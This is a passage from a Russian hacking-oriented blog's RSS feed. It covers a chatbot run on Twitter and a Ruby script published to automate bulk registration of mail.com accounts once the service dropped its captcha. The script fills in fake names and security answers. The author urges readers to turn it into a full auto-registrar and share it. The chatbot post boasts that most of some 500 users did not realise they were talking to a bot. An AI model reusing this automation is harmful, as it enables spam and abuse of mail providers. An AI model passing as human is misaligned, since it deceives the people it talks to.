<p>Еще хочу попросить, если у кого-то есть более полный список путей к админкам, то выложите где-нибудь, пожалуйста.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.lukmus.ru/2010/09/18/poisk-adminok-na-mnozhestve-saytov/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>искусственный интеллект в twitter</title>
		<link>http://blog.lukmus.ru/2010/07/24/iskusstvennyiy-intellekt-v-twitter/</link>
		<comments>http://blog.lukmus.ru/2010/07/24/iskusstvennyiy-intellekt-v-twitter/#comments</comments>
		<pubDate>Sat, 24 Jul 2010 02:41:31 +0000</pubDate>
		<dc:creator>lukmus</dc:creator>
				<category><![CDATA[искусственный интеллект]]></category>
		<category><![CDATA[проекты]]></category>
		<category><![CDATA[ruby]]></category>
		<category><![CDATA[twitter]]></category>

		<guid isPermaLink="false">http://blog.lukmus.ru/?p=292</guid>
		<description><![CDATA[На этот раз после, я считаю успешной атаки ИИ на СС Вконтакте.ру (более 500 человек разговаривало с ботом на этот момент и более половины из них не догадалось, что это бот. Кстати, теперь там можно потрепатся с самим Доктором Хаусом по ссылке http://vkontakte.ru/id91300356), я решил поумничать в twitter&#8217;е. СИИ для twitter&#8217;а гораздо умнее чем для [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://blog.lukmus.ru/wp-content/uploads/2010/07/logo1.png"><img class="alignleft size-full wp-image-291" style="margin: 5px;" title="logo" src="http://blog.lukmus.ru/wp-content/uploads/2010/07/logo1.png" alt="" width="224" height="55" /></a>На этот раз после, я считаю успешной атаки ИИ на СС <a href="http://blog.lukmus.ru/?p=107" target="_blank">Вконтакте.ру</a> (более 500 человек разговаривало с ботом на этот момент и более половины из них не догадалось, что это бот. Кстати, теперь там можно потрепатся с самим Доктором Хаусом по ссылке <a href="http://vkontakte.ru/id91300356" target="_blank">http://vkontakte.ru/id91300356</a>), я решил поумничать в twitter&#8217;е.</p>
<p>СИИ для twitter&#8217;а гораздо умнее чем для ВК, скажу даже больше: эта СИИ обладает кучей разного рода премий и недавно почти прошла тест Тьюринга на распознование робота и человека. Итак, эта СИИ &#8211; <a href="http://en.wikipedia.org/wiki/Artificial_Linguistic_Internet_Computer_Entity" target="_blank">A.L.I.C.E.</a></p>
<p><span id="more-292"></span></p>
<p>Бот разговаривает только на английском, однако, т.к. это весьма умный бот (я бы даже сказал, существует целый ряд людей, которые проигрывают ему в интеллекте), он может понимать даже не правильно построенные фразы, сохраняющие оригинальный смысл. Короче говоря, пишите как можете а он все поймет, а если не поймет, то переспросит как понил.</p>
<p>Так как Twitter имеет собственные API, то разбираться с ним не составило особого труда &#8211; я взял уже готовую библиотеку на Ruby. Распространяется она через gem и прочитать про нее можно <a href="http://ruby.about.com/gi/o.htm?zi=1/XJ&amp;zTi=1&amp;sdn=ruby&amp;cdn=compute&amp;tm=17&amp;f=00&amp;tt=13&amp;bt=0&amp;bts=0&amp;zu=http%3A//twitter.rubyforge.org/" target="_blank">тут</a>, а собственно само описание классов и методов можно найти <a href="http://rdoc.info/projects/jnunemaker/twitter" target="_blank">здесь</a>. Несмотря на все преймущества API для twitter&#8217;а, существует весьма существенный недостаток &#8211; нельзя делать через API больше 150 запросов в час (нераспространяется на direct messages), поэтому бот может запаздывать с ответом на публичные &#8216;твиты&#8217; (@) и отвечать на ваше сообщение спустя минуту &#8211; две.</p>
<p>Собственно, что я сделал сам, так это добавил логику работы с друзьями(follower) и связал бота с твиттером.</p>
<p>Итак, потрепатся с ботом можно по адресу <a href="http://twitter.com/ablact" target="_blank">http://twitter.com/ablact</a>. Зовут его Alice Blacktam и он очень милая девушка, так что не обижайте ее.</p>
<p>Посмотреть процесс можно ниже.</p>
<p><object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="480" height="385" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="allowFullScreen" value="true" /><param name="allowscriptaccess" value="always" /><param name="src" value="http://www.youtube.com/v/60UrrZB8-pE&amp;hl=ru_RU&amp;fs=1" /><param name="allowfullscreen" value="true" /><embed type="application/x-shockwave-flash" width="480" height="385" src="http://www.youtube.com/v/60UrrZB8-pE&amp;hl=ru_RU&amp;fs=1" allowscriptaccess="always" allowfullscreen="true"></embed></object></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.lukmus.ru/2010/07/24/iskusstvennyiy-intellekt-v-twitter/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>AOL сошел с ума или авторегер на mail.com</title>
		<link>http://blog.lukmus.ru/2010/07/12/aol-soshel-s-uma-ili-avtoreger-na-mail-com/</link>
		<comments>http://blog.lukmus.ru/2010/07/12/aol-soshel-s-uma-ili-avtoreger-na-mail-com/#comments</comments>
		<pubDate>Mon, 12 Jul 2010 00:20:39 +0000</pubDate>
		<dc:creator>lukmus</dc:creator>
				<category><![CDATA[hack]]></category>
		<category><![CDATA[методы и способы]]></category>
		<category><![CDATA[скрипты]]></category>
		<category><![CDATA[AOL]]></category>
		<category><![CDATA[email]]></category>
		<category><![CDATA[https]]></category>
		<category><![CDATA[mail.com]]></category>
		<category><![CDATA[ruby]]></category>
		<category><![CDATA[авторегер]]></category>

		<guid isPermaLink="false">http://blog.lukmus.ru/?p=230</guid>
		<description><![CDATA[Не понятно какие тараканы укусили админов AOL, но подконтрольный AOL&#8217;у сервис mail.com с какого-то перепуга отменил капчу при регистрации мыла. В связи с этим событием, с которым может сравнится только финал ЧМ-2010, в адекватности судьи которого, кстати, я не уверен и не признаю никакого другого ЧМ кроме Нидерландов,  я считаю просто необходимо написать авторегер под [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://blog.lukmus.ru/wp-content/uploads/2010/07/aol.jpeg"><img class="size-full wp-image-231 alignleft" style="margin: 10px;" title="aol" src="http://blog.lukmus.ru/wp-content/uploads/2010/07/aol.jpeg" alt="" width="224" height="106" /></a>Не понятно какие тараканы укусили админов AOL, но подконтрольный AOL&#8217;у сервис mail.com с какого-то перепуга отменил капчу при регистрации мыла.</p>
<p>В связи с этим событием, с которым может сравнится только  финал ЧМ-2010, в адекватности судьи которого, кстати, я не уверен и не признаю никакого другого ЧМ кроме Нидерландов,  я считаю просто необходимо написать авторегер под эту штуку.<span id="more-230"></span></p>
<p>Сам скрипт авторега я не написал еще, да думаю и не надо, каждый и сам сможет переписать выложенный здесь код под свои нужды. А написал я класс или точнее сказать скрипт-библиотеку, естественно на Ruby, который содержит все необходимые методы для регистрации мыла, быть может заисключением проверки адреса на существование.</p>
<p><strong>Сам скрипт</strong></p>
<blockquote><p>#!/usr/bin/ruby<br />
require &#8216;net/http&#8217;<br />
require &#8216;net/https&#8217;</p>
<p>def str2pc(str)<br />
if !str then return &#8220;|ERR=#{str}|&#8221; end<br />
i=0<br />
pc=&#8221;<br />
while i&lt;str.size do<br />
pc+=&#8221;%#{str[i].to_s(16)}&#8221;.upcase<br />
i+=1<br />
end<br />
return pc<br />
end</p>
<p>class Acc<br />
attr_accessor :login,:pass,:domain<br />
def initialize(login,pass,domain)<br />
@login=login<br />
@pass=pass<br />
@domain=domain<br />
@http=Net::HTTP.new(&#8216;signup.mail.com&#8217;, 443)<br />
@http.use_ssl = true<br />
@path=&#8217;/UserInformationB.aspx&#8217;<br />
end</p>
<p>def get_headers(refer)<br />
return headers = {<br />
&#8216;Cookie&#8217; =&gt; @cookie,<br />
&#8216;Referer&#8217; =&gt; refer,<br />
&#8216;Content-Type&#8217; =&gt; &#8216;application/x-www-form-urlencoded&#8217;,<br />
&#8216;User-Agent&#8217;=&gt; &#8216;Mozilla/5.0 Gecko/20090909 Windows NT 5.0/9&#8242;<br />
}<br />
end</p>
<p>def get_fst_cook<br />
begin<br />
resp, data = @http.get(@path, nil)<br />
@cookie = resp.response['set-cookie']<br />
@__VIEWSTATE=data.split(&#8220;__VIEWSTATE\&#8221; value=\&#8221;")[1].split(&#8220;\&#8221;")[0]<br />
@__EVENTVALIDATION=data.split(&#8220;__EVENTVALIDATION\&#8221; value=\&#8221;")[1].split(&#8220;\&#8221;")[0].gsub!(/([^a-zA-Z0-9])/){str2pc($1)}<br />
rescue<br />
return e<br />
end<br />
return 0<br />
end</p>
<p>def reg<br />
begin<br />
data = &#8220;__VIEWSTATE=#{@__VIEWSTATE}&amp;__EVENTVALIDATION=#{@__EVENTVALIDATION}&amp;hOptin=2&amp;hdCheckbox=1&amp;hdCampaignCheckbox=0&amp;RefenceCode=event01&amp;TrkID=0000&amp;FirstName=fdsjhfj&amp;LastName=jkvhfsdjk&amp;drpMonth=06&amp;drpDay=07&amp;drpYear=1975&amp;Username=#{@login}&amp;Domainname=#{@domain}&amp;Password=#{@pass}&amp;PasswordConfirm=#{pass}&amp;setpw=False&amp;SecQuestion=3&amp;SecAnswer=bhgfhgfhjfghgfhg&amp;Agreed=Create+Account&#8221;<br />
resp, data = @http.post(@path, data, self.get_headers(&#8216;https://signup.mail.com/UserInformationB.aspx&#8217;))<br />
@cookie = @cookie+resp.response['set-cookie']<br />
@path=resp['location']<br />
resp, data = @http.get(@path, self.get_headers(&#8216;https://signup.mail.com/UserInformationB.aspx&#8217;))<br />
@path=resp['location']<br />
resp, data = @http.get(@path, self.get_headers(&#8220;https://signup.mail.com/#{@path}&#8221;))<br />
rescue =&gt; e<br />
return e<br />
end<br />
return 0<br />
end<br />
end#class</p></blockquote>
<blockquote><p>#EXAMPLE<br />
accs=Acc.new(&#8220;test&#8221;,&#8221;example&#8221;,&#8221;california.usa.com&#8221;) #test@california.usa.com:example<br />
puts accs.get_fst_cook<br />
puts accs.reg</p></blockquote>
<p>Немного разберем скрипт.</p>
<p>Итак, он содержит 1 функцию &#8211; str2pc и класс Acc. str2pc преобразует символы в процент-код.</p>
<p><strong>Класс Acc</strong></p>
<ul>
<li>метод get_headers &#8211; возвращает заголовок пакета</li>
<li>метод get_fst_cook &#8211; получает необходимые кукисы и параметры для дальнейшей регистрации</li>
<li>метод reg &#8211; собственно сама регистрация</li>
</ul>
<p>Рассмотрим подробнее метод get_fst_cook. Он получает страницу регистрации /UserInformationB.aspx методом GET, а в месте с ней и первые кукисы. Далее парсит страницу на 2 необходимых параметра:</p>
<ol>
<li>__VIEWSTATE</li>
<li>__EVENTVALIDATION</li>
</ol>
<p>причем в __EVENTVALIDATION попутно заменяются все символы, неудовлетворяющие регулярному выражению ([^a-zA-Z0-9]) на процент-код.</p>
<p>Метод reg. Отправляет собственно сам POST-запрос регистрации, а затем 2 GET запроса на страницы /UserInformationB.aspx и той, на которую стоит переадресации в полученном пакете. Последний запрос не обязателен и регистрация пройдет и без него, однако он нужен если вы не хотите получить при входе на мыло страницу о успешной реги и прочей фигне.</p>
<p><strong>Как использовать класс</strong></p>
<p>Все очень просто и пример описан под комментарием #EXAMPLE:</p>
<ol>
<li>в конструкторе вводим логин, пароль и домен &#8211; accs=Acc.new(&#8220;test&#8221;,&#8221;example&#8221;,&#8221;california.usa.com&#8221;)</li>
<li>вызываем get_fst_cook, в случае ошибки возвращает текст ошибки, иначе 0 &#8211; accs.get_fst_cook</li>
<li>вызываем reg, в случае ошибки возвращает текст ошибки, иначе 0 &#8211; accs.reg</li>
</ol>
<p>Это все. Чтобы сделать из этой библиотеки полноценный авторегер особого ума не надо, и если же вы все-таки его сделаете незабудьте выложить в паблик.</p>
<p>Скачать скрипт в нормальном виде можно <a href="http://sharingmatrix.com/file/12315579/autoreg_mail.com.tar" target="_blank">здесь</a>.</p>
<p>P.S. хочу также сказать спасибо nonamez&#8217;у за его пост в его <a href="http://n0nz.info/" target="_blank">блоге</a>, где он поведал о плагине для FireFox Live HTTP Headers, без него было бы тяжко разбирать снифером HTTPS-пакеты. Статью можно прочитать <a href="http://n0nz.info/?p=36" target="_blank">здесь</a>.</p>
<p><object width="480" height="385"><param name="movie" value="http://www.youtube.com/v/nElrkQaKJmc&amp;hl=ru_RU&amp;fs=1"></param><param name="allowFullScreen" value="true"></param><param name="allowscriptaccess" value="always"></param><embed src="http://www.youtube.com/v/nElrkQaKJmc&amp;hl=ru_RU&amp;fs=1" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="480" height="385"></embed></object></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.lukmus.ru/2010/07/12/aol-soshel-s-uma-ili-avtoreger-na-mail-com/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
	</channel>
</rss>
